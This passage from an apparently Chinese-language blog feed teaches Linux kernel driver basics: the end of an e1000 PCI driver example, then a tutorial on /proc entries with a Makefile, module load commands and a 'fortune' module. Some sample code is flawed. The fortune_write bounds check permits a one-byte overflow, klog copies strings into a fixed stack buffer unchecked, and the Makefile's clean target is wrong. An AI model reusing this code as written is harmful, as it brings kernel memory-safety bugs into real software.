class="title">E1000_ADAPTER</span> &#123;</span></span><br><span class="line">    u8 *hw_addr0;</span><br><span class="line">    u8 *hw_addr1;</span><br><span class="line">&#125; *adapter=<span class="literal">NULL</span>;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">#<span class="keyword">define</span> LOGTAG <span class="string">&quot;TEST: &quot;</span></span></span><br><span class="line"><span class="type">void</span> <span class="title function_">klog</span><span class="params">(<span class="type">char</span> *fmt, ...)</span>&#123;</span><br><span class="line">    <span class="type">char</span> textbuf[<span class="number">1024</span><span class="number">-32</span>];</span><br><span class="line">    va_list args;</span><br><span class="line">    u32 len = <span class="number">0</span>;</span><br><span class="line">    <span class="type">char</span> *tmp = fmt;</span><br><span class="line">    va_start(args, fmt);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">while</span>(*tmp)&#123;</span><br><span class="line">        len++;</span><br><span class="line">        tmp++;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    <span class="built_in">memcpy</span>(textbuf, LOGTAG, <span class="keyword">sizeof</span>(LOGTAG)<span class="number">-1</span>);</span><br><span class="line">    <span class="built_in">memcpy</span>(textbuf + <span class="keyword">sizeof</span>(LOGTAG) - <span class="number">1</span>, fmt, len);</span><br><span class="line">    <span class="built_in">memcpy</span>(textbuf + <span class="keyword">sizeof</span>(LOGTAG) + len - <span class="number">1</span>, <span class="string">&quot;\n&quot;</span>, <span class="number">2</span>);</span><br><span class="line">    vprintk(textbuf, args);</span><br><span class="line">    va_end(args);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">return</span> ;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> <span class="title function_">e1000_probe_device</span><span class="params">(<span class="keyword">struct</span> pci_dev *pdev,</span></span><br><span class="line"><span class="params">             <span class="type">const</span> <span class="keyword">struct</span> pci_device_id *id)</span></span><br><span class="line">&#123;<span class="comment">// 3. 触发探测函数后, 操作因设备而异, 但是大同小异.</span></span><br><span class="line">    <span class="type">unsigned</span> <span class="type">long</span> mmio_start, mmio_len;</span><br><span class="line">    u64 dma;</span><br><span class="line">    <span class="type">int</span> err = pci_enable_device_mem(pdev);<span class="comment">// 4. enable mem</span></span><br><span class="line"></span><br><span class="line">    printk(<span class="string">&quot;probe device\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(err)&#123;</span><br><span class="line">        printk(LOG<span class="string">&quot;fail to enable device!\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> err;</span><br><span class="line">    &#125;</span><br><span class="line">    err = pci_request_selected_regions_exclusive(pdev,</span><br><span class="line">                                      pci_select_bars(pdev, <span class="number">0x200</span>),</span><br><span class="line">                                      e1000_driver_name);<span class="comment">//IORESOURCE_MEM 5. 激活设备的IOport/IOmem</span></span><br><span class="line">    <span class="keyword">if</span> (err) &#123;</span><br><span class="line">        printk(LOG<span class="string">&quot;Failed to request region for adapter\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> err;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    adapter=dma_zalloc_coherent(&amp;pdev-&gt;dev, <span class="keyword">sizeof</span>(<span class="keyword">struct</span> E1000_ADAPTER), &amp;dma,</span><br><span class="line">                     GFP_KERNEL);;</span><br><span class="line">    <span class="keyword">if</span>(!adapter)&#123;</span><br><span class="line">        printk(LOG<span class="string">&quot;Failed to alloc adapter\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">-1</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    pci_set_master(pdev);</span><br><span class="line"></span><br><span class="line">    mmio_start = pci_resource_start(pdev, <span class="number">0</span>);<span class="comment">// 因为e1000网卡有两个bar,所以此处需要映射bar0和bar1</span></span><br><span class="line">    mmio_len = pci_resource_len(pdev, <span class="number">0</span>);</span><br><span class="line"></span><br><span class="line">    adapter-&gt;hw_addr0 = ioremap(mmio_start, mmio_len);<span class="comment">// 6. 映射设备IOmem</span></span><br><span class="line">    <span class="keyword">if</span> (!adapter-&gt;hw_addr0) &#123;</span><br><span class="line">        printk(<span class="string">&quot;Map 0 fail\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    mmio_start = pci_resource_start(pdev, <span class="number">1</span>);</span><br><span class="line">    mmio_len = pci_resource_len(pdev, <span class="number">1</span>);</span><br><span class="line"></span><br><span class="line">    adapter-&gt;hw_addr1 = ioremap(mmio_start, mmio_len);</span><br><span class="line">    <span class="keyword">if</span> (!adapter-&gt;hw_addr1) &#123;</span><br><span class="line">        printk(<span class="string">&quot;Map 1 fail\n&quot;</span>);</span><br><span class="line">        <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="comment">// 7. 初始化好IO资源以后, 就可以开始其它初始化操作了</span></span><br><span class="line">    e1000_start(pdev);</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">e1000_remove_device</span><span class="params">(<span class="keyword">struct</span> pci_dev *pdev)</span>&#123;</span><br><span class="line">    printk(<span class="string">&quot;removed device!\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(adapter)&#123;</span><br><span class="line">        <span class="keyword">if</span>(adapter-&gt;hw_addr0)</span><br><span class="line">            iounmap(adapter-&gt;hw_addr0);</span><br><span class="line">        <span class="keyword">if</span>(adapter-&gt;hw_addr1)</span><br><span class="line">            iounmap(adapter-&gt;hw_addr1);</span><br><span class="line">    &#125;</span><br><span class="line">    pci_release_selected_regions(pdev,</span><br><span class="line">                                 pci_select_bars(pdev, <span class="number">0x200</span>));<span class="comment">//IORESOURCE_MEM</span></span><br><span class="line">    pci_disable_device(pdev);</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">e1000_shutdown_device</span><span class="params">(<span class="keyword">struct</span> pci_dev *pdev)</span>&#123;</span><br><span class="line">    <span class="comment">//do nothing</span></span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">pci_driver</span> <span class="title">e1000_driver</span> =</span> &#123;<span class="comment">// 1. 准备驱动描述符</span></span><br><span class="line">    .name       = e1000_driver_name,<span class="comment">// 包括驱动名称</span></span><br><span class="line">    .id_table   = e1000_pciid_table,<span class="comment">// 硬件id</span></span><br><span class="line">    .probe      = e1000_probe_device,<span class="comment">// 硬件被识别后,第一次调用到的探测函数</span></span><br><span class="line">    .remove     = e1000_remove_device,</span><br><span class="line">    .shutdown   = e1000_shutdown_device,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">main_init</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    <span class="type">int</span> err = pci_register_driver(&amp;e1000_driver);<span class="comment">// 2. 注册驱动, 当识别到注册的硬件id后, 就会调用probe函数.</span></span><br><span class="line">    printk(LOG<span class="string">&quot;mod init!\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> err;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">main_exit</span><span class="params">(<span class="type">void</span>)</span>&#123;</span><br><span class="line">    pci_unregister_driver(&amp;e1000_driver);</span><br><span class="line">    printk(LOG<span class="string">&quot;mod exit!\n&quot;</span>);</span><br><span class="line">    <span class="keyword">if</span>(adapter)&#123;</span><br><span class="line">        kfree(adapter);</span><br><span class="line">    &#125;</span><br><span class="line">    <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init(main_init);</span><br><span class="line">module_exit(main_exit);</span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;本文章主要简介如何准备vmware的双机调试, 并示例了一些简单的驱动编写和调试信息&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>linux 内核和用户态通信之 /proc文件系统</title>
    <link href="http://474172261.github.io/2023/02/22/linux-proc/"/>
    <id>http://474172261.github.io/2023/02/22/linux-proc/</id>
    <published>2023-02-22T11:54:44.196Z</published>
    <updated>2022-03-18T03:35:32.000Z</updated>
    
    <content type="html"><![CDATA[<p>&#x2F;proc 文件系统是一个虚拟文件系统，通过它可以使用一种新的方法在 Linux® 内核空间和用户空间之间进行通信。在 &#x2F;proc 文件系统中，我们可以将对虚拟文件的读写作为与内核中实体进行通信的一种手段，但是与普通文件不同的是，这些虚拟文件的内容都是动态创建的.</p><span id="more"></span><p>&#x2F;proc 文件系统包含了一些目录（用作组织信息的方式）和虚拟文件。虚拟文件可以向用户呈现内核中的一些信息，也可以用作一种从用户空间向内核发送信息的手段。</p><h2 id="创建一个-x2F-proc文件"><a href="#创建一个-x2F-proc文件" class="headerlink" title="创建一个&#x2F;proc文件"></a>创建一个&#x2F;proc文件</h2><p>在3.8内核之前,使用create_proc_entry创建一个文件,原型如下:</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">struct</span> proc_dir_entry *<span class="title function_">create_proc_entry</span><span class="params">( <span class="type">const</span> <span class="type">char</span> *name, <span class="type">mode_t</span> mode,</span></span><br><span class="line"><span class="params">                                             <span class="keyword">struct</span> proc_dir_entry *parent )</span>;<span class="comment">//创建一个虚拟文件</span></span><br><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">proc_dir_entry</span> &#123;</span></span><br><span class="line">  <span class="type">const</span> <span class="type">char</span> *name;     <span class="comment">// 节点名称</span></span><br><span class="line">  <span class="type">mode_t</span> mode;        <span class="comment">// 权限,与chmod的一样,可以使用八进制表示</span></span><br><span class="line">  <span class="type">uid_t</span> uid;        <span class="comment">// File&#x27;s user id</span></span><br><span class="line">  <span class="type">gid_t</span> gid;        <span class="comment">// File&#x27;s group id</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">inode_operations</span> *<span class="title">proc_iops</span>;</span> <span class="comment">// 索引节点操作函数</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> *<span class="title">proc_fops</span>;</span>  <span class="comment">// 文件操作函数</span></span><br><span class="line">  <span class="class"><span class="keyword">struct</span> <span class="title">proc_dir_entry</span> *<span class="title">parent</span>;</span>    <span class="comment">// 父目录,如果是NULL,就代表/proc目录</span></span><br><span class="line">  ...</span><br><span class="line">  <span class="type">read_proc_t</span> *read_proc;     <span class="comment">// 输出给cat的函数</span></span><br><span class="line">  <span class="type">write_proc_t</span> *write_proc;   <span class="comment">// 读取用户输入的函数</span></span><br><span class="line">  <span class="type">void</span> *data;       <span class="comment">// 指向private 数据</span></span><br><span class="line">  <span class="type">atomic_t</span> count;       <span class="comment">// 使用计数</span></span><br><span class="line">  ...</span><br><span class="line">&#125;;</span><br><span class="line"><span class="type">void</span> <span class="title function_">remove_proc_entry</span><span class="params">( <span class="type">const</span> <span class="type">char</span> *name, <span class="keyword">struct</span> proc_dir_entry *parent )</span>;<span class="comment">//不仅可以删除节点,还能删除proc_mkdir创建的目录</span></span><br><span class="line"><span class="keyword">struct</span> proc_dir_entry *<span class="title function_">proc_mkdir</span><span class="params">(<span class="type">const</span> <span class="type">char</span> *name,</span></span><br><span class="line"><span class="params">      <span class="keyword">struct</span> proc_dir_entry *parent)</span>;  <span class="comment">//创建一个虚拟目录</span></span><br></pre></td></tr></table></figure><p>parent 参数可以为 NULL（表示 &#x2F;proc 根目录），也可以是很多其他值</p><table><thead><tr><th>proc_dir_entry</th><th>在文件系统中的位置</th></tr></thead><tbody><tr><td>proc_root_fs</td><td>&#x2F;proc</td></tr><tr><td>proc_net</td><td>&#x2F;proc&#x2F;net</td></tr><tr><td>proc_bus</td><td>&#x2F;proc&#x2F;bus</td></tr><tr><td>proc_root_driver</td><td>&#x2F;proc&#x2F;driver</td></tr></tbody></table><p>如果我们想创建一个文件为test_modul的虚拟文件,就这样初始化</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line">create_proc_entry( <span class="string">&quot;test_module&quot;</span>, <span class="number">0644</span>, <span class="literal">NULL</span> );</span><br><span class="line">或者</span><br><span class="line">pt_root = proc_mkdir(<span class="string">&quot;test_menu&quot;</span>, <span class="literal">NULL</span>);</span><br><span class="line">pt_entry1 = create_proc_entry(USER_ENTRY1, <span class="number">0666</span>, pt_root);</span><br></pre></td></tr></table></figure><h2 id="x2F-proc文件交互函数"><a href="#x2F-proc文件交互函数" class="headerlink" title="&#x2F;proc文件交互函数"></a>&#x2F;proc文件交互函数</h2><p><strong>read_proc</strong> 供用户读取的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">mod_read</span><span class="params">( <span class="type">char</span> *page,<span class="comment">//数据写入的位置,该page缓冲区在内核</span></span></span><br><span class="line"><span class="params">            <span class="type">char</span> **start,</span></span><br><span class="line"><span class="params">               <span class="type">off_t</span> off,</span></span><br><span class="line"><span class="params">               <span class="type">int</span> count,<span class="comment">//定义写入的最大字节数</span></span></span><br><span class="line"><span class="params">                <span class="type">int</span> *eof, <span class="comment">//当数据写入完后,需要设置为1</span></span></span><br><span class="line"><span class="params">              <span class="type">void</span> *data <span class="comment">//private 数据</span></span></span><br><span class="line"><span class="params">              )</span>;</span><br></pre></td></tr></table></figure><p>当需要写入多页数据时(一般一页4Kb),需要用到 start,off.</p><p><strong>write_proc</strong> 读取用户的输入</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="type">int</span> <span class="title function_">mod_write</span><span class="params">( <span class="keyword">struct</span> file *filp, <span class="comment">//指向一个打开的文件结构</span></span></span><br><span class="line"><span class="params">         <span class="type">const</span> <span class="type">char</span> __user *buff, <span class="comment">//用户输入的数据,buff在用户空间,内核要读取需要用到copy_from_user</span></span></span><br><span class="line"><span class="params">               <span class="type">unsigned</span> <span class="type">long</span> len, <span class="comment">//长度</span></span></span><br><span class="line"><span class="params">                      <span class="type">void</span> *data </span></span><br><span class="line"><span class="params">)</span>;</span><br></pre></td></tr></table></figure><p>其它需要用到的函数</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">/* 创建一个符号链接 */</span></span><br><span class="line"><span class="keyword">struct</span> proc_dir_entry *<span class="title function_">proc_symlink</span><span class="params">( <span class="type">const</span> <span class="type">char</span> *name,</span></span><br><span class="line"><span class="params">                                       <span class="keyword">struct</span> proc_dir_entry *parent,</span></span><br><span class="line"><span class="params">                                       <span class="type">const</span> <span class="type">char</span> *dest )</span>;</span><br><span class="line"><span class="comment">/* Create a proc_dir_entry with a read_proc_t in one call */</span></span><br><span class="line"><span class="keyword">struct</span> proc_dir_entry *<span class="title function_">create_proc_read_entry</span><span class="params">( <span class="type">const</span> <span class="type">char</span> *name,</span></span><br><span class="line"><span class="params">                                                  <span class="type">mode_t</span> mode,</span></span><br><span class="line"><span class="params">                                                  <span class="keyword">struct</span> proc_dir_entry *base,</span></span><br><span class="line"><span class="params">                                                  <span class="type">read_proc_t</span> *read_proc,</span></span><br><span class="line"><span class="params">                                                  <span class="type">void</span> *data )</span>;</span><br><span class="line"><span class="comment">/* 从内核空间复制数据到用户空间 */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="title function_">copy_to_user</span><span class="params">( <span class="type">void</span> __user *to,</span></span><br><span class="line"><span class="params">                              <span class="type">const</span> <span class="type">void</span> *from,</span></span><br><span class="line"><span class="params">                              <span class="type">unsigned</span> <span class="type">long</span> n )</span>;</span><br><span class="line"><span class="comment">/* 从用户空间到内核 */</span></span><br><span class="line"><span class="type">unsigned</span> <span class="type">long</span> <span class="title function_">copy_from_user</span><span class="params">( <span class="type">void</span> *to,</span></span><br><span class="line"><span class="params">                                <span class="type">const</span> <span class="type">void</span> __user *from,</span></span><br><span class="line"><span class="params">                                <span class="type">unsigned</span> <span class="type">long</span> n )</span>;</span><br><span class="line"><span class="comment">/* 创建虚拟的连续内存块 */</span></span><br><span class="line"><span class="type">void</span> *<span class="title function_">vmalloc</span><span class="params">( <span class="type">unsigned</span> <span class="type">long</span> size )</span>;</span><br><span class="line"><span class="comment">/* 释放vmalloc创建的块 */</span></span><br><span class="line"><span class="type">void</span> <span class="title function_">vfree</span><span class="params">( <span class="type">void</span> *addr )</span>;</span><br><span class="line"><span class="comment">/* Export a symbol to the kernel (make it visible to the kernel) */</span></span><br><span class="line">EXPORT_SYMBOL( symbol );</span><br><span class="line"><span class="comment">/* Export all symbols in a file to the kernel (declare before module.h) */</span></span><br><span class="line">EXPORT_SYMTAB</span><br></pre></td></tr></table></figure><h2 id="创建内核驱动"><a href="#创建内核驱动" class="headerlink" title="创建内核驱动"></a>创建内核驱动</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="comment">/* Defines the license for this LKM */</span></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot;GPL&quot;</span>);</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">my_module_init</span><span class="params">( <span class="type">void</span> )</span><span class="comment">//自定义的初始化函数</span></span><br><span class="line">&#123;</span><br><span class="line">  printk(KERN_INFO <span class="string">&quot;my_module_init called.  Module is now loaded.\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">void</span> <span class="title function_">my_module_cleanup</span><span class="params">( <span class="type">void</span> )</span><span class="comment">//自定义的退出函数</span></span><br><span class="line">&#123;</span><br><span class="line">  printk(KERN_INFO <span class="string">&quot;my_module_cleanup called.  Module is now unloaded.\n&quot;</span>);</span><br><span class="line">  <span class="keyword">return</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line">module_init( my_module_init );<span class="comment">//声明初始化函数</span></span><br><span class="line">module_exit( my_module_cleanup );<span class="comment">//声明退出函数</span></span><br></pre></td></tr></table></figure><p>从3.10内核开始,create_proc_entry() 函数被替换成proc_create() 函数, 函数区别如下:<br>修改前</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">proc_dir_entry</span> *<span class="title">proc_file</span> =</span> create_proc_entry(<span class="string">&quot;file&quot;</span>,<span class="number">0600</span>,<span class="literal">NULL</span>);</span><br><span class="line"><span class="keyword">if</span> (proc_file) &#123;</span><br><span class="line">        proc_file-&gt;read_proc = file_read;  </span><br><span class="line">        proc_file-&gt;write_proc = file_write;</span><br><span class="line">        proc_file-&gt;owner = THIS_MODULE;</span><br><span class="line">&#125;</span><br></pre></td></tr></table></figure><p>修改后</p><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line"><span class="class"><span class="keyword">struct</span> <span class="title">file_operations</span> <span class="title">proc_fops</span>=</span></span><br><span class="line">&#123;</span><br><span class="line">    .read=file_read,</span><br><span class="line">    .write=file_write,</span><br><span class="line">    .owner=THIS_MODULE,</span><br><span class="line">&#125;;</span><br><span class="line"></span><br><span class="line">proc_file = proc_create(<span class="string">&quot;file&quot;</span>, <span class="number">0600</span>, proc_dir, &amp;proc_fops);</span><br></pre></td></tr></table></figure><h2 id="编译安装驱动"><a href="#编译安装驱动" class="headerlink" title="编译安装驱动"></a>编译安装驱动</h2><p>Makefile</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">obj-m += simple-km.o</span><br><span class="line"></span><br><span class="line">all:    </span><br><span class="line">make -C /lib/modules/`uname -r`/build SUBDIRS=$(PWD) modules</span><br><span class="line"></span><br><span class="line">clean:  </span><br><span class="line">make -C /lib/modules/`uname -r`/build SUBDIRS=$(PWD) modules</span><br></pre></td></tr></table></figure><blockquote><p>开头的是tab, 不是空格, 一定要注意</p></blockquote><p>执行如下命令</p><figure class="highlight sh"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line">$ make</span><br><span class="line">$ insmod simple-km.ko </span><br><span class="line">$ dmesg | <span class="built_in">tail</span> -5      查看最后5行信息</span><br><span class="line">$ lsmod</span><br><span class="line">$ rmmod simple-km.ko</span><br></pre></td></tr></table></figure><h2 id="一个简单的示例"><a href="#一个简单的示例" class="headerlink" title="一个简单的示例"></a>一个简单的示例</h2><figure class="highlight c"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/module.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/kernel.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/proc_fs.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/string.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;linux/vmalloc.h&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;asm/uaccess.h&gt;</span></span></span><br><span class="line">MODULE_LICENSE(<span class="string">&quot;GPL&quot;</span>);</span><br><span class="line">MODULE_DESCRIPTION(<span class="string">&quot;Fortune Cookie Kernel Module&quot;</span>);</span><br><span class="line">MODULE_AUTHOR(<span class="string">&quot;VictorV&quot;</span>);</span><br><span class="line"><span class="meta">#<span class="keyword">define</span> MAX_COOKIE_LENGTH       PAGE_SIZE</span></span><br><span class="line"><span class="type">static</span> <span class="class"><span class="keyword">struct</span> <span class="title">proc_dir_entry</span> *<span class="title">proc_entry</span>;</span></span><br><span class="line"><span class="type">static</span> <span class="type">char</span> *cookie_pot;  <span class="comment">// 内存缓冲区</span></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> cookie_index;  <span class="comment">// 指向缓冲区的数据尾部</span></span><br><span class="line"><span class="type">static</span> <span class="type">int</span> next_fortune;  <span class="comment">// 通过\0分开字符串,此处用来指向下一个需要输出的缓冲字符串</span></span><br><span class="line"></span><br><span class="line"><span class="type">ssize_t</span> <span class="title function_">fortune_write</span><span class="params">( <span class="keyword">struct</span> file *filp,</span></span><br><span class="line"><span class="params">                <span class="type">const</span> <span class="type">char</span> __user *buff,</span></span><br><span class="line"><span class="params">                <span class="type">unsigned</span> <span class="type">long</span> len, </span></span><br><span class="line"><span class="params">                <span class="type">void</span> *data )</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> space_available = (MAX_COOKIE_LENGTH-cookie_index)+<span class="number">1</span>;</span><br><span class="line">  <span class="keyword">if</span> (len &gt; space_available) &#123;</span><br><span class="line">    printk(KERN_INFO <span class="string">&quot;fortune: cookie pot is full!\n&quot;</span>);</span><br><span class="line">    <span class="keyword">return</span> -ENOSPC;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (copy_from_user( &amp;cookie_pot[cookie_index], buff, len )) &#123;</span><br><span class="line">  <span class="comment">//从用户空间读取数据到cookie_pot,</span></span><br><span class="line">    <span class="keyword">return</span> -EFAULT;</span><br><span class="line">  &#125;</span><br><span class="line">  cookie_index += len;</span><br><span class="line">  cookie_pot[cookie_index<span class="number">-1</span>] = <span class="number">0</span>;<span class="comment">//将最后一位置零</span></span><br><span class="line">  <span class="keyword">return</span> len;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">fortune_read</span><span class="params">( <span class="type">char</span> *page, <span class="type">char</span> **start, <span class="type">off_t</span> off,<span class="type">int</span> count, <span class="type">int</span> *eof, <span class="type">void</span> *data )</span>&#123;</span><br><span class="line">  <span class="type">int</span> len;</span><br><span class="line">  <span class="keyword">if</span> (off &gt; <span class="number">0</span>) &#123;</span><br><span class="line">    *eof = <span class="number">1</span>;</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">  &#125;</span><br><span class="line">  <span class="keyword">if</span> (next_fortune &gt;= cookie_index) next_fortune = <span class="number">0</span>;<span class="comment">//超过数据个数,就循环读取</span></span><br><span class="line">  len = <span class="built_in">sprintf</span>(page, <span class="string">&quot;%s\n&quot;</span>, &amp;cookie_pot[next_fortune]);<span class="comment">//将一段字符串写入page</span></span><br><span class="line">  next_fortune += len;</span><br><span class="line">  <span class="keyword">return</span> len;</span><br><span class="line">&#125;</span><br><span class="line"></span><br><span class="line"><span class="type">int</span> <span class="title function_">init_fortune_module</span><span class="params">( <span class="type">void</span> )</span><span class="comment">//初始化</span></span><br><span class="line">&#123;</span><br><span class="line">  <span class="type">int</span> ret = <span class="number">0</span>;</span><br><span class="line">  cookie_pot = (<span class="type">char</span> *)vmalloc( MAX_COOKIE_LENGTH );<span class="comment">//申请一段内核空间</span></span><br><span class="line">  <span class="keyword">if</span> (!cookie_pot) &#123;</span><br><span class="line">    ret = -ENOMEM;</span><br><span class="line">  &#125; <span class="keyword">else</span> &#123;</span><br><span class="line">    <span class="built_in">memset</span>( cookie_pot, <span class="number">0</span>, MAX_COOKIE_LENGTH );</span><br><span class="line">    proc_entry = create_proc_entry( <span class="string">&quot;fortune&quot;</span>, <span class="number">0644</span>, <span class="literal">NULL</span> );</span><br><span class="line">    <span class="keyword">if</span> (proc_entry == <span class="literal">NULL</span>) &#123;</span><br><span class="line">      ret = 